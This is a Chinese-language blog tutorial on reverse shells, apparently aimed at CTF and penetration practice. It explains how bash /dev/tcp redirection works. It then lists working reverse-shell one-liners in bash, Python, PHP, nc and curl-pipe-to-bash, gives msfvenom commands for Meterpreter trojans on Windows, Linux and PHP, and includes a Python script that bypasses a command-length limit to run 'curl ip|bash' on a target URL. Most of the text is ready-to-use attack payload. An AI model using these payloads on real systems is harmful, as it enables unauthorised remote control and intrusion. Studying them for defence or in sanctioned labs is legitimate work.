前言
通常web应用或中间件上的命令执行漏洞,直接利用起来很麻烦,还会有一些限制,或者完全没有回显,那我们就可以先反弹一个shell到我们的主机上,这样利用起来方便,也有利于后续攻击。
原理
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
bash -i >& /dev/tcp/ip/2333 0>&1
- bash -i
1) bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别
2) -i 这个参数表示的是产生交互式的shell
- /dev/tcp/ip/port
/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件)
>&
和0&>1
1)>&
的作用是将本机上返回的结果重定向到攻击机上,在本机上执行bash -i >& /dev/tcp/ip/2333
后可以发现,只能在本机上输入命令,但命令和执行结果都不会在本机上而是在攻击机上显示。
2)0>&1
的作用是将攻击机上的指令传给本机,两句结合起来就可以让我们后的一个可交互的shell。
利用
-
bash反弹
bash -i >& /dev/tcp/ip/2333 0>&1
bash是需要shell解析的,在一些环境中可能无法使用
其他版本:
exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5;done
exec 5<>/dev/tcp/x.x.x.x/4444
这句话将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333,方式为读写,于是我们就能通过文件描述符对这个socket连接进行操作。 -
poython反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python反弹的原理是使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符。
这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了 -
php反弹
最简单的,可以利用php中的exec函数
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
或者利用php的fsockopen去连接远程
php -r '$sock=fsockopen("攻击机ip",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
-
nc反弹
需要被攻击主机上安装有nc,执行
nc -e /bin/bash ip 2333
-e受到限制时,可以使用管道符
nc 192.168.0.4 6666|/bin/bash|ip 7777
-
curl反弹
curl IP地址|bash
curl会读取网页上的内容,通过|bash
将读取到的内容作为shell命令执行。
先将反弹shell一句话放在自己的vps上,通过curl就能读取并执行了。 -
msf生成木马反弹shell
- msf中内置了强大的木马库,可以直接使用它提供的payload来反弹一个shell
- 生成php反弹木马:
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f raw > /root/shell.php
- 生成windows反弹木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/hacker.exe
- 生成linux反弹木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f elf > /root/shell
- 生成php反弹木马:
- 在msf上开启监听
- 选择监听模块:
use exploit/multi/handler
- 设置payload反弹:
set payload windows/meterpreter/reverse_tcp
,生成木马payload - 设置LHOST、LPORT参数:
set LHOST 攻击机ip set LPORT 监听端口
- exploit 或 run 开始攻击,进行监听
- 等待靶机运行木马,msf产生session会话
- 选择监听模块:
- msf中内置了强大的木马库,可以直接使用它提供的payload来反弹一个shell
绕过
执行命令的绕过大同小异,无非是对命令经行编码、截断或者替换,这里将一种特殊的绕过情况:限制命令长度
一些ctf题中会限制你输入内容的长度,这时就需要分批绕过。
我们可以将反弹语句放在自己的服务器上,通过以下方式执行:
curl IP地址|bash
现在自己服务器的主页网站放入反弹语句,如:
bash -i >& /dev/tcp/ip/7777 0>&1
然后在服务器上监听7777端口
准备工作就绪,开始准备写入命令
>x可以生成一个名为'x'的文件夹
ls -t>y.sh可以将当前目录下所有文件夹名写入y.sh
我们通过这两个命令来绕过长度限制来达到写入脚本的目的。
这里贴上我自己的脚本:
#encoding:utf-8
import requests
baseurl = "http://114.67.246.176:10007/?cmd="
s = requests.session()
# curl ip|bash
list=[
">bash",
">\|\\",
">02\\",
">1\\",
">2.\\",
">11\\",
">5.\\",
">0\\",
">7.\\",
">12\\",
">\ \\",
">rl\\",
">cu\\"
]
for j in list:
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"ls -t>y")
s.get(baseurl+"sh y")
倒写的原因和文件夹生成后的排序有关,不再赘述
后记
反弹shell是渗透的第一步,一个交互式的shell让我们可以经行更多的操作。
Comments | NOTHING